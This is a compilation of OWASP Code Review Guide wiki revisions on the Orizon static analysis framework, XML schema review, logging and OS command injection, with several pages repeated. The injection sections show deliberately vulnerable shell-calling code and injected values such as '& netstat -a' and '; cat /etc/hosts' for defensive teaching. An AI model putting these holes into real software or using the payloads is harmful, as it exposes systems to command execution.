''' default:
''' return log.error("unknown service code");
''' }
''' }

So, when a language specific translator is prompted for translate() method, this recalls the language specific service methods.

Every translator contains as private field, a language specific scanner containing ASTs to be used in input file generation.

Consider org.owasp.orizon.translator.java.JavaTranslator class, it is declared as follows:

''' public class JavaTranslator extends DefaultTranslator {
''' static SourcePositions positions;
''' private JavaScanner j;
''' ...

JavaScanner is a class from org.owasp.orizon.translator.java package and it uses Sun JDK 6 Compiler API to scan a Java file creating in memory ASTs. Trees are created in scan() method, implemented for Java source language as follow:

''' public final boolean scan(String in) {
''' boolean ret = false;
''' String[] parms = { in };
''' Trees trees;
'''
''' JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
''' if (compiler == null)
''' return log.error("I can't find a suitable JAVA compiler. Is a JDK installed?");
'''
''' DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
''' StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null);
''' Iterable<? extends JavaFileObject> fileObjects = fileManager.getJavaFileObjects(parms);
'''
''' JavacTask task = (com.sun.source.util.JavacTask) compiler.getTask(null,fileManager, diagnostics, null, null, fileObjects);
'''
''' try {
''' trees = Trees.instance(task);
''' positions = trees.getSourcePositions();
''' Iterable<? extends CompilationUnitTree> asts = task.parse();
''' for (CompilationUnitTree ast : asts) {
''' j = new JavaScanner(positions, ast);
''' j.scan(ast, null);
''' }
''' scanned = true;
''' return true;
''' } catch (IOException e) {
''' return log.fatal("an exception occured while translate " + in + ": " +e.getLocalizedMessage());
''' }
''' }

===Statistical Gathering ===
To implement statistic information gathering, DefaultTranslator abstract method statService() must be implemented. In the following example, the method is the JavaTranslator's. Statistics information is stored in the JavaScanner object itself and retrieved by getStats() method.

''' public final boolean statService(String in, String out) {
''' boolean ret = false;
'''
''' if (!scanned)
''' return log.error(in + ": call scan() before asking translation...");
''' log.debug(". Entering statService(): collecting stats for: " + in);
''' try {
''' createXmlFile(out);
''' xmlInit();
''' xml("<source name=\"" + in+"\" >");
''' xml(j.getStats());
''' xml("</source>");
''' xmlEnd();
'''
''' } catch (FileNotFoundException e) {
''' } catch (UnsupportedEncodingException e) {
''' } catch (IOException e) {
''' ret = log.error("an exception occured: " + e.getMessage());
''' }
''' ret = true;
''' log.debug("stats written into: " + out);
''' log.debug(". Leaving statService()");
''' return ret;
''' }

== Reference ==

To anyone interested in Owasp Orizon framework, you can use the following links:
* main page @ Owasp: [[::Category:OWASP_Orizon_Project]]
* main site @ SourceForge: [http://orizon.sourceforge.net http://orizon.sourceforge.net]
* blog: [http://orizon.sourceforget.net/blog http://orizon.sourceforge.net/blog]
* author page @ Owasp: [http://www.owasp.org/index.php/User:Thesp0nge http://www.owasp.org/index.php/User:Thesp0nge]

You can drop also a line to Orizon author: [mailto:thesp0nge@owasp.org thesp0nge@owasp.org]
'''foo'''

The Owasp Orizon Framework

2009-05-22T13:06:59Z

KirstenS: /* Reference */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

== Introduction ==
A lot of open source projects exist in the wild, performing static code review analysis. This is good, it means that source code testing for security issues is becoming a constraint.

Such tools bring a lot of valuable points:
* community support
* source code freely available to anyone
* costs

On the other side, these tools don't share the most valuable point among them: the security knowledge. All these tools have their own security library, containing a lot of checks, without sharing such knowledge.

In 2006, the Owasp Orizon project wass born to provide a common underlying layer to all opensource projects concerning static analysis.

Orizon project includes:
* a set of APIs that developers can use to build their own security tool performing static analysis.
* a security library with checks to apply to source code.
* a tool, Milk, which is able to static analyze a source code using Orizon Framework.

== The Owasp Orizon Architecture ==
In the following picture, the Owasp Orizon version 1.0 architecture is shown. As you may see, the framework is organized in engines that perform tasks over the source code and a block of tools that are deployed out of the box in order to use the APIs in a real world static analysis.

[[Image:Owasp_Orizon_Architecture_v1.0.png|400px|The Owasp Orizon v1.0 architecture]]

With all such elements, a developer can be scared to use the framework; that's why a special entity called SkyLine was created. Before going further into SkyLine analysis, it's very important to understand all the elements Orizon is made of.

=== Your personal butler: the SkyLine class ===
Named '''core''' in the architectural picture, the SkyLine object is one of the most valuable services in Orizon version 1.0.

The idea behind SkyLine is simple: as the Orizon architecture becomes wider, regular developers may be scared about understanding a lot of APIs in order to build their security tool, so we can help them providing "per service" support.

Using SkyLine object, developers can request services from the Orizon framework waiting for their accomplishment.

The main SkyLine input is:

'''public boolean launch(String service)'''

Passing the requested service as string parameter, the calling program will receive a boolean true return value if the service can be accomplished or a false value otherwise.

The service name is compared to the ones understood by the framework:

'''private int goodService(String service) {
''' int ret = -1;
''' if (service.equalsIgnoreCase("init"))
''' ret = Cons.OC_SERVICE_INIT_FRAMEWORK;
''' if (service.equalsIgnoreCase("translate"))
''' ret = Cons.OC_SERVICE_INIT_TRANSLATE;
''' if (service.equalsIgnoreCase("static_analysis"))
''' ret = Cons.OC_SERVICE_STATIC_ANALYSIS;
''' if (service.equalsIgnoreCase("score"))
''' ret = Cons.OC_SERVICE_SCORE;
''' return ret;
'''}

The secondary feature introduced in this first major framework release is the support for command line option given to the user.

If the calling program passes command line option to Orizon framework using SkyLine, the framework will be tuned accordingly to the given values.

This example will explain better:

'''public static void main(String[] args) {
''' String fileName = "";
''' OldRecipe r;
''' DefaultLibrary dl;
'''
''' SkyLine skyLine = new SkyLine(args);

That's all folks! Internally, the SkyLine constructor, when it creates a code review session, uses the values it was able to understand from command line.

The command line format must follow this convention

''' -o orizon_key=value
or the long format
''' --orizon orizon_key=value

And these are the keys that the framework cares about:
* "input-name"
* "input-kind"
* "working-dir"
* "lang"
* "recurse"
* "output-format"
* "scan-type";

The org.owasp.orizon.Cons class contains a detailed section about these keys with some comments and with their default value.

The only side effect is that calling program can use -o flag for its purpose.

SkyLine is contained in the org.owasp.orizon package.

=== Give me something to remind: the Session class ===
Another big feature introduced in Owasp Orizon version 1.0 is the code review session concept. One of the missing features in earlier versions was the capability to track the state of the code review process.

A Session class instance contains all the properties specified using SkyLine and it is their owner giving access to properties upon request. It contains a SessionInfo array containing information about each file being reviewed.

Ideally, a user tool will never call Session directly, but it must use SkyLine as interface. Of course anyone is free to override this suggestion.

Looking at the launch() method code, inside the SkyLine class, you can look how session instance is prompted to execute services.

'''public boolean launch(String service) {
''' int code, stats;
''' boolean ret = false;
'''
''' if ( (code = goodService(service)) == -1)
''' return log.error("unknown service: " + service);
''' switch (code) {
''' // init service
''' case Cons.OC_SERVICE_INIT_FRAMEWORK:
''' ret = session.init();
''' break;
''' // translation service
''' case Cons.OC_SERVICE_INIT_TRANSLATE:
''' stats = session.collectStats();
''' if (stats > 0) {
''' log.warning(stats + " files failed in collecting statistics.");
''' ret = false;
''' } else
''' ret = true;
''' break;
''' // static analysis service
''' case Cons.OC_SERVICE_STATIC_ANALYSIS:
''' ret = session.staticReview();
''' break;
''' // score service
''' case Cons.OC_SERVICE_SCORE:
''' break;
''' default:
''' return log.error("unknown service: " + service);
''' }
''' return ret;
'''}

Internally, the Session instance will ask each SessionInfo object to execute services. Let us consider the Session class method that executes the static analysis service.

'''/**
''' * Starts a static analysis over the files being reviewed
''' *
''' * @return true if static analysis can be performed or false
''' * if one or more files fail being analyzed.
''' */
'''public boolean staticReview() {
''' boolean ret = true;
''' if (!active)
''' return log.error("can't perform a static analysis over an inactive session.");
''' for (int i = 0; i < sessions.length; i++) {
''' if (! sessions[i].staticReview())
''' ret = false;
''' }
''' return ret;
'''}

Where sessions variable is declared as:
'''private SessionInfo[] sessions;

As you may see, the Session object delegates service accomplishment to SessionInfo once collecting the final results.

In fact, SessionInfo objects are the ones talking with Orizon internals performing the real work.

The following method is stolen from org.owasp.orizon.SessionInfo class.

'''/**
''' * Perform a static analysis over the given file
''' *
''' * A full static analysis is a mix from:
''' *
''' * * local analysis (control flow)
''' * * global analysis (call graph)
''' * * taint propagation
''' * * statistics
''' *
''' *
''' * @return true if the file being reviewed doesn't violate any
''' * security check, false otherwise.
''' */
''' public boolean staticReview() {
''' boolean ret = false;
''' s = new Source(getStatFileName());
''' ret = s.analyzeStats();
''' ...
''' return ret;
''' }

=== The Translation Factory ===
One of the Owasp Orizon goals is to be independent from the source language being analyzed. This means that Owasp Orizon will support:
* Java
* C, C++
* C#
* Perl
* ...
Such support is granted using an intermediate file format to describe the source code and used to apply the security checks. Such format is XML language.

A source code, before static analysis is started, is translated into XML. Starting from version 1.0, each source code is translated in 4 XML files:

* an XML file containing statistical information
* an XML file containing variables tracking information
* an XML file containing program control flow (local analysis)
* an XML file containing call graph (global analysis)

At the time this document is written (Owasp Orizon v1.0pre1, September 2008), only the Java programming language is supported, however other programming language will follow soon.

Translation phase is requested from org.owasp.orizon.SessionInfo.inspect() method. Depending on the source file language, the appropriate Translator is called and the scan() method is called.

''' /**
''' * Inspects the source code, building AST trees
''' * @return
''' */
''' public boolean inspect() {
''' boolean ret = false;
''' switch (language) {
''' case Cons.O_JAVA:
''' t = new JavaTranslator();
''' if (!t.scan(getInFileName()))
''' return log.error("can't scan " + getInFileName() + ".");
''' ret = true;
''' break;
''' default:
''' log.error("can't inspect language: " + Cons.name(language));
''' break;
''' }
''' return ret;
''' }

Scan method is an abstract method defined in org.owasp.orizon.translator.DefaultTranslator class and declared as the following:

''' public abstract boolean scan(String in);

Every class implementing DefaultTranslator must implement how to scan the source file and build ASTs in this method.

Aside from scan() method, there are four abstract method needful to create XML input files.

''' public abstract boolean statService(String in, String out);
''' public abstract boolean callGraphService(String in, String out);
''' public abstract boolean dataFlowService(String in, String out);
''' public abstract boolean controlFlowService(String in, String out);

All these methods are called in the translator() method, the one implemented directly from DefaultTranslator class.

''' public final boolean translate(String in, String out, int service) {
''' if (!isGoodService(service))
''' return false;
''' if (!scanned)
''' if (!scan(in))
''' return log.error(in+ ": scan has been failed");
''' switch (service) {
''' case Cons.OC_TRANSLATOR_STAT:
''' return statService(in, out);
''' case Cons.OC_TRANSLATOR_CF:
''' return controlFlowService(in, out);
''' case Cons.OC_TRANSLATOR_CG:
''' return callGraphService(in, out);
''' case Cons.OC_TRANSLATOR_DF:
''' return dataFlowService(in, out);
''' default:
''' return log.error("unknown service code");
''' }
''' }

So, when a language specific translator is prompted for translate() method, this recalls the language specific service methods.

Every translator contains as private field, a language specific scanner containing ASTs to be used in input file generation.

Consider org.owasp.orizon.translator.java.JavaTranslator class, it is declared as follows:

''' public class JavaTranslator extends DefaultTranslator {
''' static SourcePositions positions;
''' private JavaScanner j;
''' ...

JavaScanner is a class from org.owasp.orizon.translator.java package and it uses Sun JDK 6 Compiler API to scan a Java file creating in memory ASTs. Trees are created in scan() method, implemented for Java source language as follow:

''' public final boolean scan(String in) {
''' boolean ret = false;
''' String[] parms = { in };
''' Trees trees;
'''
''' JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
''' if (compiler == null)
''' return log.error("I can't find a suitable JAVA compiler. Is a JDK installed?");
'''
''' DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
''' StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null);
''' Iterable<? extends JavaFileObject> fileObjects = fileManager.getJavaFileObjects(parms);
'''
''' JavacTask task = (com.sun.source.util.JavacTask) compiler.getTask(null,fileManager, diagnostics, null, null, fileObjects);
'''
''' try {
''' trees = Trees.instance(task);
''' positions = trees.getSourcePositions();
''' Iterable<? extends CompilationUnitTree> asts = task.parse();
''' for (CompilationUnitTree ast : asts) {
''' j = new JavaScanner(positions, ast);
''' j.scan(ast, null);
''' }
''' scanned = true;
''' return true;
''' } catch (IOException e) {
''' return log.fatal("an exception occured while translate " + in + ": " +e.getLocalizedMessage());
''' }
''' }

===Statistical Gathering ===
To implement statistic information gathering, DefaultTranslator abstract method statService() must be implemented. In the following example, the method is the JavaTranslator's. Statistics information is stored in the JavaScanner object itself and retrieved by getStats() method.

''' public final boolean statService(String in, String out) {
''' boolean ret = false;
'''
''' if (!scanned)
''' return log.error(in + ": call scan() before asking translation...");
''' log.debug(". Entering statService(): collecting stats for: " + in);
''' try {
''' createXmlFile(out);
''' xmlInit();
''' xml("<source name=\"" + in+"\" >");
''' xml(j.getStats());
''' xml("</source>");
''' xmlEnd();
'''
''' } catch (FileNotFoundException e) {
''' } catch (UnsupportedEncodingException e) {
''' } catch (IOException e) {
''' ret = log.error("an exception occured: " + e.getMessage());
''' }
''' ret = true;
''' log.debug("stats written into: " + out);
''' log.debug(". Leaving statService()");
''' return ret;
''' }

== Reference ==

To anyone interested in Owasp Orizon framework, you can use the following links:
* main page @ Owasp: [{::Category:OWASP_Orizon_Project]]
* main site @ SourceForge: [http://orizon.sourceforge.net http://orizon.sourceforge.net]
* blog: [http://orizon.sourceforget.net/blog http://orizon.sourceforge.net/blog]
* author page @ Owasp: [http://www.owasp.org/index.php/User:Thesp0nge http://www.owasp.org/index.php/User:Thesp0nge]

You can drop also a line to Orizon author: [mailto:thesp0nge@owasp.org thesp0nge@owasp.org]
'''foo'''

Reviewing Web Services

2009-05-22T12:58:54Z

KirstenS: /* Reviewing Webservices and XML Payloads */

[[OWASP Code Review Guide Table of Contents]]__TOC__

==Reviewing Webservices and XML Payloads==
When reviewing webservices, one should focus firstly on the generic security controls related to any application. Webservices also have some unique controls should be looked at.

===XML Schema : Input validation===
Schemas are used to ensure that the XML payload received is within defined and expected limits. They can be specific to a list of known good values or simply define length and type. Some XML applications do not have a schema implemented, which may mean input validation is performed downstream or even not at all!!

''Keywords''
'''Namespace''': : An XML namespace is a collection of XML elements and attributes identified by an Internationalised Resource Identifier (RI).

In a single document, elements may exist with the same name that were created by different entities.

To distinguish between such different definitions with the same name, an XML Schema allows the concept of namespaces - think Java packages :)

The schema can specify a finite amount of parameters, the expected parameters in the XML payload alongside the expected types and values of the payload data.

The ProcessContents attribute indicates how XML from other namespaces should be validated. When the processContents attribute is set to '''lax''' or '''skip''', input validation is not performed for wildcard attributes and parameters.

The value for this attribute may be
* '''strict''': There must be a declaration associated with the namespace and validate the XML.
* '''lax''' There should be an attempt to validate the XML against its schema.
* '''skip''' There is no attempt to validate the XML.

processContents=strict\lax\skip

===Infinite Occurrences of an Element or Attribute===
The unbounded value can be used on an XML schema to specify the there is no maximum occurrence expected for a specific element.

maxOccurs= positive-Integer|unbounded

Given that any number of elements can be supplied for an unbounded element, it is subject to attack via supplying the web service with vast amounts of elements, and hence a resource exhaustion issue.

===Weak namespace, Global elements, the <any> element & SAX XML processors===

The <any> element can be used to make extensible documents, allowing documents to contain additional elements which are not declared in the main schema. The idea that an application can accept any number of parameters may be cause for alarm. This may lead to denial of availability or even in the case of a SAX XML parser legitimate values may be overwritten.

<xs:element name="cloud">
<xs:complexType>
<xs:sequence>
<xs:element name="process" type="xs:string"/>
<xs:element name="lastcall" type="xs:string"/>
'''<xs:any minOccurs="0"/>'''
</xs:sequence>
</xs:complexType>
</xs:element>

The <any> element here permits additional parameters to be added in an arbitary manner.

A namespace of ##any in the <any> element means the schema allows elements beyond what is explicitly defined in the schema, thereby reducing control on expected elements for a given request.

<xs:any namespace='##any' />

A schema that does not define restrictive element namespaces permits arbitrary elements to be included in a valid document, which may not be expected by the application. This may give rise to attacks, such as XML Injection, which consist of including tags which are not expected by the application.

[[Category:OWASP Code Review Project]]

Reviewing Code for Logging Issues

2009-05-15T10:17:50Z

KirstenS: /* Log Storage */

[[OWASP Code Review Guide Table of Contents]]__TOC__
=== In Brief===
Logging is the recording of information into storage that details who performed what and when they did it (like an audit trail). This can also cover debug messages implemented during development, as well as any messages reflecting problems or states within the application. It should be an audit of everything that the business deems important to track about the application’s use. Logging provides a detective method to ensure that the other security mechanisms being used are performing correctly.

There are three categories of logs; application, operation system, and security software. While the general principles are similar for all logging needs, the practices stated in this document are especially applicable to application logs.

A good logging strategy should include log generation, storage, protection, analysis, and reporting.

====Log Generation====
Logging should be at least done at the following events: 

'''Authentication''': Successful and unsuccessful attempts. 
'''Authorization requests'''. 
'''Data manipulation''': Any (CUD) Create, Update, Delete actions performed on the application. 
'''Session activity''': Termination/Logout events. 

The application should have the ability to detect and record possible malicious use, such as events that cause unexpected errors or defy the state model of the application, for example, users who attempt to get access to data that they shouldn’t, and incoming data that does not meet validation rules or has been tampered with. In general, it should detect any error condition which could not occur without an attempt by the user to circumvent the application logic.
Logging should give us the information required to form a proper audit trail of a user's actions.

Leading from this, the date/time actions were performed would be useful, but make sure the application uses a clock that is synched to a common time source. Logging functionality should not log any personal or sensitive data pertaining to the user of function at hand that is being recorded; an example of this is if your application is accepting HTTP GET the payload is in the URL and the GET shall be logged. This may result in logging sensitive data.

Logging should follow best practice regarding data validation; maximum length of information, malicious characters….
We should ensure that logging functionality only logs messages of a reasonable length and that this length is enforced.
Never log user input directly; validate, then log.

====Log Storage====
In order to preserve log entries and keep the sizes of log files manageable, log rotation is recommended. Log rotation means closing a log file and opening a new one when the first file is considered to be either complete or becoming too big. Log rotation is typically performed according to a schedule (e.g. daily) or when a file reaches a certain size.

====Log Protection====
Because logs contain records of user account and other sensitive information, they need to be protected from breaches of their confidentiality, integrity, and availability, the triad of information security.

====Log Analysis and Reporting====
Log analysis is the studying of log entries to identify events of interest or suppress log entries for insignificant events. Log reporting is the displaying of log analysis. Although these are normally the responsibilities of the system administrator, an application must generate logs that are consistent and contain info that will allow the administrator to prioritize the records. Logging should create an audit of system events and also be time stamped in GMT as not to create confusion. In the course of reviewing logging transactional events such as Create, Update, or Delete (CUD), business execution such as data transfer and also security events should be logged.

===Common open source logging solutions===

Log4J: http://logging.apache.org/log4j/docs/index.html

Log4net: http://logging.apache.org/log4net/

Commons Logging: http://jakarta.apache.org/commons/logging/index.html
 

In Tomcat(5.5), if no custom logger is defined (log4J) then everything is logged via Commons Logging and ultimately ends up in catalina.out.
catalina.out grows endlessly and does not recycle/rollover. Log4J provides “Rollover” functionality, which limits the size of the log. Log4J also gives the option to specify “appenders” which can redirect the log data to other destinations such as a port, syslog, or even a database or JMS.

The parts of log4J which should be considered apart from the actual data being logged by the application are contained in the log4j.properties file:

#
# Configures Log4j as the Tomcat system logger
#

#
# Configure the logger to output info level messages into a rolling log file.
#
log4j.rootLogger=INFO, R

#
# To continue using the "catalina.out" file (which grows forever),
# comment out the above line and uncomment the next.
#
#log4j.rootLogger=ERROR, A1

#
# Configuration for standard output ("catalina.out").
#
log4j.appender.A1=org.apache.log4j.ConsoleAppender
log4j.appender.A1.layout=org.apache.log4j.PatternLayout
#
# Print the date in ISO 8601 format
#
log4j.appender.A1.layout.ConversionPattern=%d [%t] %-5p %c - %m%n

#
# Configuration for a rolling log file ("tomcat.log").
#
log4j.appender.R=org.apache.log4j.DailyRollingFileAppender
log4j.appender.R.DatePattern='.'yyyy-MM-dd
#
# Edit the next line to point to your logs directory.
# The last part of the name is the log file name.
#
log4j.appender.R.File=/usr/local/tomcat/logs/tomcat.log
log4j.appender.R.layout=org.apache.log4j.PatternLayout
#
# Print the date in ISO 8601 format
#
log4j.appender.R.layout.ConversionPattern=%d [%t] %-5p %c - %m%n

#
# Application logging options
#
#log4j.logger.org.apache=DEBUG
#log4j.logger.org.apache=INFO
#log4j.logger.org.apache.struts=DEBUG
#log4j.logger.org.apache.struts=INFO

==Vulnerable patterns examples for Logging==

===.NET===
The following are issues one may look out for or question the development/deployment team. Logging and auditing are detective methods of fraud prevention. They are much overlooked in the industry, which enables attackers to continue to attack/commit fraud without being detected.

They cover Windows and .NET issues.

'''Check that:'''
#Windows native log puts a timestamp on all log entries.
#GMT is set as the default time.
#The Windows operating system can be configured to use network timeservers.
#By default the event log will show the name of the computer that generated the event and the application in the source field of the viewer. Additional information such as request identifier, username, and destination should be included in the body of the error event.
#No sensitive or business critical information is sent to the application logs.
#Application logs are not located in the web root directory.
#Log policy allows different levels of log severity.

===Writing to the Event Log===
In the course of reviewing .NET code ensure that calls the EventLog object do not provide any confidential information.

EventLog.WriteEntry( "<password>",EventLogEntryType.Information);

===Classic ASP===
You can add events to Web server Log or Windows log, for Web Server Log use.

Response.AppendToLog("Error in Processing")

This is the common way of adding entries to the Windows event log.

Const EVENT_SUCCESS = 0
Set objShell = Wscript.CreateObject("Wscript.Shell")
objShell.LogEvent EVENT_SUCCESS, _
"Payroll application successfully installed."

Notice all the previous bullets for ASP.NET are pretty much applicable for classic ASP as well.

[[Category:OWASP Code Review Project]]

Reviewing Code for OS Injection

2009-05-06T17:33:18Z

KirstenS: /* Introduction */

[[OWASP Code Review Guide Table of Contents]]__TOC__

== Introduction ==

Injection flaws allow attackers to pass malicious code through a web application to another subsystem. Depending on the subsystem, different types of injection attacks can be performed:

RDBMS: SQL Injection 
WebBrowser/Appserver: SQL Injection 
OS-shell: Operating system commands Calling external applications from your application.

OS Commanding is one of the attack classes that fall into [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml Injection Flaws]. In other classifications, it is placed in [http://www.fortify.com/vulncat/index.html Input Validation and Representation] [[Category:FIXME|link not working]]category, [[Top_10_2007-A2|OS Commanding]] threat class or defined as [http://cwe.mitre.org/data/definitions/77.html Failure to Sanitize Data into Control Plane] weakness and [http://capec.mitre.org/data/definitions/6.html Argument Injection] attack pattern enumeration. OS Commanding happens when an application accepts untrusted/insecure input and passes it to external applications (either as the application name itself or arguments) without validation or a proper escaping.

==How to Locate the Potentially Vulnerable code ==
Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated:

Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values. … This is not an exhaustive list.

“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed.

All injection flaws are input-validation errors. The presence of an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year.

Basically for this type of vulnerability we need to find all input streams into the application. This can be from a user’s browser, CLI or fat client but also from upstream processes that “feed” our application.

An example would be to search the code base for the use of APIs or packages that are normally used for communication purposes.

The '''java.io''', '''java.sql''', '''java.net''', '''java.rmi''', '''java.xml''' packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.

== Vulnerable Patterns for OS Injection ==
What we should be looking for are relationships between the application and the operating system; the application-utilising functions of the underlying operating system.

In Java using the Runtime object, '''java.lang.Runtime''' does this.
In .NET calls such as '''System.Diagnostics.Process.Start '''are used to call underlying OS functions.
In PHP we may look for calls such as '''exec()''' or '''passthru()'''.

'''Example''':

We have a class that eventually gets input from the user via a HTTP request. This class is used to execute some native exe on the application server and return a result.

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("'''''cmd.exe /C''''' doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

The method executeCommand calls '''''doStuff.exe''''' (utilizing cmd.exe) via the '''''java.lang.runtime''''' static method '''''getRuntime()'''''. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. ''Transactional analysis should have encountered any data validation prior to this point.''
Inputting “Joe69” would result in the following MS DOS command:

'''''doStuff.exe –Joe69'''''

Lets say we input '''''Joe69 & netstat –a''''' we would get the following response:

The exe doStuff would execute passing in the User Id Joe69, but then the DOS command '''''netstat''''' would be called. How this works is the passing of the parameter “&” into the application, which in turn is used as a command appender in MS DOS and hence the command after the & character is executed.

This wouldn't be true, if the code above was written as (here we assume that '''''doStuff.exe''''' doesn't act as an command interpreter, such as cmd.exe or /bin/sh);

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

Why? From [http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Runtime.html Java 2 documentation];

'' ... More precisely, the given command string is broken into tokens using a StringTokenizer created by the call new StringTokenizer(command) with no further modification of the character categories. The tokens produced by the tokenizer are then placed in the new string array cmdarray, in the same order ... ''

The produced array contains the executable (the first item) to call and its arguments (the rest of the arguments). So, unless the first item to be called is an application which parses the arguments and interprets them, and further calls other external applications according to them, it wouldn't be possible to execute '''''netstat''''' in the above code snippet. Such a first item to be called would be '''''cmd.exe''''' in Windows boxes or '''''sh''''' in Unix-like boxes.

Most of the out-of-box source code/assembly analyzers would (and some wouldn't!) flag a ''Command Execution'' issue when they encounter the dangerous APIs; '''''System.Diagnostics.Process.Start''''', '''''java.lang.Runtime.exec'''''. However, obviously, the calculated risk should differ. In the first example, the "command injection" is there, whereas, in the second one without any validation nor escaping what can be called as "argument injection" vulnerability exists. The risk is still there, but the severity depends on the command being called. So, the issue needs analysis.

===UNIX===

An attacker might insert the string '''“; cat /etc/hosts”''' and the contents of the UNIX hosts file might be exposed to the attacker if the command is executed through a shell such as /bin/bash or /bin/sh.

===.NET Example===
namespace ExternalExecution
{
class CallExternal
{
static void Main(string[] args)
{
String arg1=args[0];
System.Diagnostics.Process.Start("doStuff.exe", arg1);
}
}
}

Yet again there is no data validation to speak of here, assuming that there is no upstream validation occurring in another class.

===Classic ASP Example===
<pre>
<%
option explicit
dim wshell
set wshell = CreateObject("WScript.Shell")
wshell.run "c:\file.bat " & Request.Form("Args")
set wshell = nothing
%>
</pre>

These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e. SQL injection). Complete scripts written in Perl, Python, shell, bat, and other languages can be injected into poorly designed web applications and executed.

==Good Patterns & procedures to prevent OS injection==

See the Data Validation section.

==Related Articles==
[[Command Injection]]

[[Interpreter Injection]]

[[Category:OWASP Code Review Project]]
[[Category:Input Validation]]

Reviewing Code for OS Injection

2009-05-06T17:14:51Z

KirstenS: /* Introduction */

[[OWASP Code Review Guide Table of Contents]]__TOC__

== Introduction ==

Injection flaws allow attackers to pass malicious code through a web application to another subsystem. Depending on the subsystem, different types of injection attacks can be performed:

RDBMS: SQL Injection 
WebBrowser/Appserver: SQL Injection 
OS-shell: Operating system commands Calling external applications from your application.

OS Commanding is one of the attack classes that fall into [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml Injection Flaws]. In other classifications, it is placed in [http://www.fortify.com/vulncat/index.html Input Validation and Representation] category, [[Top_10_2007-A2|OS Commanding]] threat class or defined as [http://cwe.mitre.org/data/definitions/77.html Failure to Sanitize Data into Control Plane] weakness and [http://capec.mitre.org/data/definitions/6.html Argument Injection] attack pattern enumeration. OS Commanding happens when an application accepts untrusted/insecure input and passes it to external applications (either as the application name itself or arguments) without validation or a proper escaping.

==How to Locate the Potentially Vulnerable code ==
Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated:

Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values. … This is not an exhaustive list.

“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed.

All injection flaws are input-validation errors. The presence of an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year.

Basically for this type of vulnerability we need to find all input streams into the application. This can be from a user’s browser, CLI or fat client but also from upstream processes that “feed” our application.

An example would be to search the code base for the use of APIs or packages that are normally used for communication purposes.

The '''java.io''', '''java.sql''', '''java.net''', '''java.rmi''', '''java.xml''' packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.

== Vulnerable Patterns for OS Injection ==
What we should be looking for are relationships between the application and the operating system; the application-utilising functions of the underlying operating system.

In Java using the Runtime object, '''java.lang.Runtime''' does this.
In .NET calls such as '''System.Diagnostics.Process.Start '''are used to call underlying OS functions.
In PHP we may look for calls such as '''exec()''' or '''passthru()'''.

'''Example''':

We have a class that eventually gets input from the user via a HTTP request. This class is used to execute some native exe on the application server and return a result.

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("'''''cmd.exe /C''''' doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

The method executeCommand calls '''''doStuff.exe''''' (utilizing cmd.exe) via the '''''java.lang.runtime''''' static method '''''getRuntime()'''''. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. ''Transactional analysis should have encountered any data validation prior to this point.''
Inputting “Joe69” would result in the following MS DOS command:

'''''doStuff.exe –Joe69'''''

Lets say we input '''''Joe69 & netstat –a''''' we would get the following response:

The exe doStuff would execute passing in the User Id Joe69, but then the DOS command '''''netstat''''' would be called. How this works is the passing of the parameter “&” into the application, which in turn is used as a command appender in MS DOS and hence the command after the & character is executed.

This wouldn't be true, if the code above was written as (here we assume that '''''doStuff.exe''''' doesn't act as an command interpreter, such as cmd.exe or /bin/sh);

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

Why? From [http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Runtime.html Java 2 documentation];

'' ... More precisely, the given command string is broken into tokens using a StringTokenizer created by the call new StringTokenizer(command) with no further modification of the character categories. The tokens produced by the tokenizer are then placed in the new string array cmdarray, in the same order ... ''

The produced array contains the executable (the first item) to call and its arguments (the rest of the arguments). So, unless the first item to be called is an application which parses the arguments and interprets them, and further calls other external applications according to them, it wouldn't be possible to execute '''''netstat''''' in the above code snippet. Such a first item to be called would be '''''cmd.exe''''' in Windows boxes or '''''sh''''' in Unix-like boxes.

